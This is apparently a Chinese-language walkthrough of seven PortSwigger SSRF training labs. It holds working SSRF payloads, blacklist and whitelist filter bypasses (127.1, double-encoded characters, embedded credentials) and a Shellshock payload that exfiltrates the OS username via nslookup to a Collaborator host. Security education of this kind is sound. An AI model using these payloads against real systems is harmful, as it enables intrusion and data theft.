burp靶场–ssrf
1.什么是ssrf
服务器端请求伪造是一种 Web 安全漏洞,允许攻击者导致服务器端应用程序向非预期位置发出请求。
在典型的 SSRF 攻击中,攻击者可能会导致服务器连接到组织基础设施内的仅供内部使用的服务。在其他情况下,他们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据,例如授权凭据,或者代码执行。
实验1:针对本地服务器的基本 SSRF
ssrf绕过了admin的访问控制,通过get传参数来达到攻击目的,将指定用户carlos删除:
## 进入靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
## 操作:
浏览/admin并发现您无法直接访问管理页面。
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
stockApi将参数 中的 URL 更改为http://localhost/admin。这应该显示管理界面。
读取HTML,识别删除目标用户的URL,即:http://localhost/admin/delete?username=carlos
在参数中提交此URL stockApi,以传递SSRF攻击。
跟随重定向:删除成功:
实验2:针对另一个后端系统的基本 SSRF
### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请使用库存检查功能扫描192.168.0.X端口 8080 上管理界面的内部范围,然后使用它删除用户carlos。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Intruder。
单击“清除§”,更改stockApi参数,http://192.168.0.1:8080/admin然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
单击“状态”列可按状态代码升序对其进行排序。您应该看到一个状态为 200 的条目,显示管理界面。
点击这个请求,将其发送到Burp Repeater,并将其中的路径更改为stockApi:/admin/delete?username=carlos
url get请求删除用户:
实验3:带外检测的盲 SSRF
### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
要完成本实验,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。
### 操作:
访问一个产品,在Burp Suite中拦截请求,并发送给Burp Repeater。
转到中继器选项卡。选择 Referer 标头,右键单击并选择“插入 Collaborator Payload”,将原始域替换为 Burp Collaborator 生成的域。发送请求。
转到“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
实验4:具有基于黑名单的输入过滤器的SSRF
### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员部署了两种较弱的反 SSRF 防御措施,您需要绕过它们。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的URL修改stockApi为http://127.0.0.1/,观察请求被阻止。
通过将 URL 更改为以下内容来绕过阻止:http://127.1/
将 URL 更改为http://127.1/admin,观察该 URL 再次被阻止。
通过将“a”双 URL 编码为 %2561 来混淆“a”,以访问管理界面并删除目标用户。
实验5:通过开放重定向漏洞绕过过滤器的 SSRF
### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://192.168.0.12:8080/admin并删除用户carlos。
库存检查器被限制只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
尝试篡改参数stockApi并观察到不可能使服务器直接向不同的主机发出请求。
单击“下一个产品”,观察path参数被放置到重定向响应的 Location 标头中,从而导致开放重定向。
创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其输入stockApi股票检查器的参数中:/product/nextProduct?path=http://192.168.0.12:8080/admin
请注意,库存检查器遵循重定向并向您显示管理页面。
修改删除目标用户的路径:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
检测查看库存的流量包:
检测其功能的数据包:
发送到repeater
创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi参数:
/product/nextProduct?path=http://192.168.0.12:8080/admin
实验6:带有 Shellshock 漏洞的盲目 SSRF
### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
为了完成该实验,请使用此功能对端口 8080 范围内的内部服务器 执行盲目 SSRF192.168.0.X攻击。在盲目攻击中,对内部服务器使用 Shellshock 负载来窃取操作系统用户的名称。### 实验操作:
在Burp Suite Professional中,从 BApp Store 安装“Collaborator Everywhere”扩展。
将实验室的域添加到 Burp Suite 的目标范围中,以便 Collaborator Everywhere 能够瞄准它。
浏览网站。
请注意,当您加载产品页面时,它会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。
请注意,HTTP 交互在 HTTP 请求中包含您的用户代理字符串。
将请求发送到产品页面至 Burp Intruder。
转到Collaborator选项卡并生成唯一的 Burp Collaborator 有效负载。将其放入以下 Shellshock 负载中:() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 有效负载。
单击“清除§”,更改 Referer 标头,然后http://192.168.0.1:8080突出显示 IP 地址的最后一个八位字节(数字1),然后单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
攻击完成后,返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击所击中的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。
要完成实验,请输入操作系统用户的名称。
为了测试,需要安装插件:
在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展
插件的检测
将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。
观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder
ssrf盲测
使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
我的是:
() { :; }; /usr/bin/nslookup $(whoami).a0bxi9n7k9aet0253kqkh12io9u0ir6g.oastify.com
单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”
切换到Payloads选项卡,将有效负载类型更改为Numbers,并在"From"、“To"和"Step"框中分别输入1、255和1(单击"开始攻击”)
攻击完成后,返回Collaborator选项卡,然后单击"立即轮询"。应该看到一个DNS交互,它是由被成功的盲SSRF攻击击中的后端系统发起的。操作系统用户的名称应显示在DNS子域中。
(如果始终没有结果,考虑是否是cookie过期,换一个cookie;或者重新复制一个BP客户端URL)
提交flag,完成实验:
实验7:具有基于白名单的输入过滤器的 SSRF
### 实验参考:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员已经部署了您需要绕过的反 SSRF 防御。### 实验操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的 URL 更改stockApi为http://127.0.0.1/并观察应用程序正在解析 URL、提取主机名并根据白名单对其进行验证。
将 URL 更改为http://username@stock.weliketoshop.net/并观察是否已接受该 URL,这表明 URL 解析器支持嵌入凭据。
将 a 附加#到用户名并观察该 URL 现在被拒绝。
双 URL 编码#并%2523观察极其可疑的“内部服务器错误”响应,表明服务器可能已尝试连接到“用户名”。
要访问管理界面并删除目标用户,请将 URL 更改为:http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
将URL更改为
http://username@stock.weliketoshop.net/
并观察其是否被接受,结果表明URL解析器支持嵌入式凭据
在用户名后附加一个#,观察URL被拒绝
完成实验 :
因为没有管理员凭据,所以使用http://localhost:80绕过:
要访问管理界面并删除目标用户,将URL更改为:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
参考:
### ssrf:burp靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
### burp ssrf靶场参考:
https://mp.weixin.qq.com/s/ZUFS8ISQv8qm0iCEB0sh6Q
### payloads:ssrf服务端请求伪造
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
### owasp 服务端请求伪造:ssrf
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery